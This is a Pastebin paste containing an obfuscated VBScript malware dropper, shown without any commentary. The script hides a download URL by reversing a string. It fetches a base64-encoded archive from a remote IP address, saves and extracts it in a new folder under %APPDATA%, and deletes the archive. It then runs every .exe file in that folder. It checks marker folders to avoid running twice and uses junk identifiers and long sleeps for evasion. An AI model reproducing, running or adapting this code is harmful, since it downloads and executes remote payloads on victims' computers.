SHARE
TWEET

Untitled

a guest Feb 27th, 2020 99 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2. DIM DZIP,N_VR,STPASTALOKA,PSTLM,NMEXE,CLK,FHHJKMNNPRRSUWWXZZbcceffh,OBJzzACEEFHJKKMNNPRRSU,objFeSO
  3. DZIP     = StrReverse("osi.1xirtsamlg/591.771.711.04//:ptth")
  4. Set OBJzzACEEFHJKKMNNPRRSU = CreateObject( "WScript.Shell" )    
  5. FHHJKMNNPRRSUWWXZZbcceffh = OBJzzACEEFHJKKMNNPRRSU.ExpandEnvironmentStrings("%APPDATA%")
  6. N_VR = "A99449C3092CE70964CE715CF7BB75B.zip"
  7. WScript.Sleep 100
  8. PSTLM = FHHJKMNNPRRSUWWXZZbcceffh + "\nvgrlbr"
  9. lnnpqssuvxxyAACDDFHHIKMMNPPQSSUVVXZaacddfhhikkmnpprssuvvxzzACEEFHHIKKMNNPRSSUWWXZZ
  10. STPASTALOKA = PSTLM
  11. WScript.Sleep 100
  12. TEMMORRE
  13. WScript.Sleep 100
  14. WScript.Sleep 160
  15. DVlnoqsttvwyAABDFFGIIJLNNOQQSTTVXXYabbdffgi
  16. WScript.Sleep 2424
  17. WScript.Sleep 32303
  18. XCJJKMOPRRTUUWXZZbccegghjjlmooprrtuuw
  19. WScript.Sleep 32210
  20. DCZZbdeghjjlmoqqrtuuwyzzBDEEGIJJLMOOQRTVVWY
  21. WScript.Sleep 2424
  22. WScript.Sleep 124
  23. WScript.Sleep 124
  24. DCfhjkmmnprrsuuwxxzBBCEFFHJJKMMOPPRSUUWXXZbbceeghjjkmmopp
  25. Function DCfhjkmmnprrsuuwxxzBBCEFFHJJKMMOPPRSUUWXXZbbceeghjjkmmopp()
  26. Dim ClqtbbdegiijlmooqrttvwLM,jrtqsuuvxxyACCDFHw,jxtEEGHJJLLMOQQRTV,ColtIIJJLNNOQRRTVWWYa
  27. Set ClqtbbdegiijlmooqrttvwLM = WScript.CreateObject( "WScript.Shell" )
  28. WScript.Sleep 70
  29. Set jrtqsuuvxxyACCDFHw = CreateObject( "Scripting.FileSystemObject" )
  30. WScript.Sleep 50
  31. WScript.Sleep 50
  32. Set jxtEEGHJJLLMOQQRTV = jrtqsuuvxxyACCDFHw.GetFolder(PSTLM)
  33. WScript.Sleep 40
  34. WScript.Sleep 50
  35. Set ColtIIJJLNNOQRRTVWWYa = jxtEEGHJJLLMOQQRTV.Files
  36. WScript.Sleep 60
  37. WScript.Sleep 50
  38. For Each ColtIIJJLNNOQRRTVWWYa in ColtIIJJLNNOQRRTVWWYa
  39. If UCase(jrtqsuuvxxyACCDFHw.GetExtensionName(ColtIIJJLNNOQRRTVWWYa.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
  40. NMEXE = ColtIIJJLNNOQRRTVWWYa.Name
  41. ClqtbbdegiijlmooqrttvwLM.Exec(PSTLM & UCase(Chr(92)) & ColtIIJJLNNOQRRTVWWYa.Name)
  42. WScript.Sleep 44
  43. End If
  44. Next
  45. End Function
  46. Function GTEK( myPassPhrase )
  47.     Dim i, arrCode( )
  48.     ReDim arrCode( Len( myPassPhrase ) - 1 )
  49.     For i = 0 To UBound( arrCode )
  50.         arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
  51.     Next
  52.     GTEK = arrCode
  53. End Function
  54. Function XCJJKMOPRRTUUWXZZbccegghjjlmooprrtuuw()
  55. DIM Clqtbbdegiijlmooqrttvw,FilesInZip
  56. set Clqtbbdegiijlmooqrttvw = CreateObject("Shell.Application")
  57. set FilesInZip=Clqtbbdegiijlmooqrttvw.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items
  58. Clqtbbdegiijlmooqrttvw.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
  59. Set Clqtbbdegiijlmooqrttvw = Nothing
  60. End Function
  61. Function DCZZbdeghjjlmoqqrtuuwyzzBDEEGIJJLMOOQRTVVWY()
  62. DIM jrtqsuuvxxyACCDFHxsd
  63. Set jrtqsuuvxxyACCDFHxsd = Createobject("Scripting.FileSystemObject")
  64. jrtqsuuvxxyACCDFHxsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR
  65. End Function
  66. Function tOXZaaceffhjkkm( myFileIn, myFileOut, arrCode )
  67.     Dim i, jrtqsuuvxxyACCDFH, ColtIIJJLNNOQRRTVWWYaIn, ColtIIJJLNNOQRRTVWWYaOut, objStreamIn
  68.     Const ForAppending       =  8
  69.     Const ForReading         =  1
  70.     Const ForWriting         =  2
  71.     Const TristateFalse      =  0
  72.     Const TristateMixed      = -2
  73.     Const TristateTrue       = -1
  74.     Const TristateUseDefault = -2
  75.     On Error Resume Next
  76.     If Not IsArray( arrCode ) Then
  77.         arrCode = Array( arrCode )
  78.     End If
  79.     For i = 0 To UBound( arrCode )
  80.         If Not IsNumeric( arrCode(i) ) Then
  81.  
  82.             Encode = 1032
  83.             Exit Function
  84.         End If
  85.         If arrCode(i) < 0 Or arrCode(i) > 255 Then
  86.  
  87.             Encode = 1031
  88.             Exit Function
  89.         End If
  90.     Next
  91.     Set jrtqsuuvxxyACCDFH = CreateObject( "Scripting.FileSystemObject" )
  92.     If jrtqsuuvxxyACCDFH.FileExists( myFileIn ) Then
  93.         Set ColtIIJJLNNOQRRTVWWYaIn   = jrtqsuuvxxyACCDFH.GetFile( myFileIn )
  94.         Set objStreamIn = ColtIIJJLNNOQRRTVWWYaIn.OpenAsTextStream( ForReading, TriStateFalse )
  95.     Else        
  96.         Encode = 53      
  97.         objStreamIn.Close
  98.         Set objStreamIn = Nothing
  99.         Set ColtIIJJLNNOQRRTVWWYaIn   = Nothing
  100.         Set jrtqsuuvxxyACCDFH      = Nothing
  101.        
  102.         Exit Function
  103.     End If  
  104.     If jrtqsuuvxxyACCDFH.FileExists( myFileOut ) Then
  105.         ' Error 58: File already exists
  106.         Encode = 58
  107.         ' Close input file and release objects
  108.         objStreamIn.Close
  109.         Set objStreamIn = Nothing
  110.         Set ColtIIJJLNNOQRRTVWWYaIn   = Nothing
  111.         Set jrtqsuuvxxyACCDFH      = Nothing
  112.         ' Abort
  113.         Exit Function
  114.     Else
  115.         Set ColtIIJJLNNOQRRTVWWYaOut = jrtqsuuvxxyACCDFH.CreateTextFile( myFileOut, True, False )
  116.     End If    
  117.     i = 0
  118.     Do Until objStreamIn.AtEndOfStream
  119.         i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
  120.         ColtIIJJLNNOQRRTVWWYaOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
  121.     Loop  
  122.     ColtIIJJLNNOQRRTVWWYaOut.Close
  123.     objStreamIn.Close
  124.     Set objStreamIn = Nothing
  125.     Set ColtIIJJLNNOQRRTVWWYaIn   = Nothing
  126.     Set ColtIIJJLNNOQRRTVWWYaOut  = Nothing
  127.     Set jrtqsuuvxxyACCDFH      = Nothing    
  128.     Encode = Err.Number
  129.     Err.Clear
  130.     On Error Goto 0
  131. End Function
  132. Function lnnpqssuvxxyAACDDFHHIKMMNPPQSSUVVXZaacddfhhikkmnpprssuvvxzzACEEFHHIKKMNNPRSSUWWXZZ()
  133. dim mqXFFRJUWm
  134. Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
  135. If (mqXFFRJUWm.FolderExists((PSTLM) )) Then
  136. WScript.Quit()
  137. End If
  138. End Function
  139. Function DVlnoqsttvwyAABDFFGIIJLNNOQQSTTVXXYabbdffgi()
  140. DIM req
  141. Set req = CreateObject("Msxml2.XMLHttp.6.0")
  142. req.open "GET", DZIP, False
  143. req.send
  144. If req.Status = 200 Then
  145.  Dim oNode, BinaryStream
  146. Const adTypeBinary = 1
  147. Const adSaveCreateOverWrite = 2
  148. Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
  149. oNode.dataType = "bin.base64"
  150. oNode.text = req.responseText
  151. Set BinaryStream = CreateObject("ADODB.Stream")
  152. BinaryStream.Type = adTypeBinary
  153. BinaryStream.Open
  154. BinaryStream.Write oNode.nodeTypedValue
  155. BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite
  156. End if
  157. End Function
  158.                      
  159.  
  160. Function TEMMORRE()
  161. SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")
  162. IF objFeSO.FolderExists(FHHJKMNNPRRSUWWXZZbcceffh + "\OLEDAT") = TRUE THEN WScript.Quit() END IF
  163. IF objFeSO.FolderExists(STPASTALOKA) = FALSE THEN
  164. objFeSO.CreateFolder STPASTALOKA
  165. objFeSO.CreateFolder OBJzzACEEFHJKKMNNPRRSU.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT"
  166. END IF
  167. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top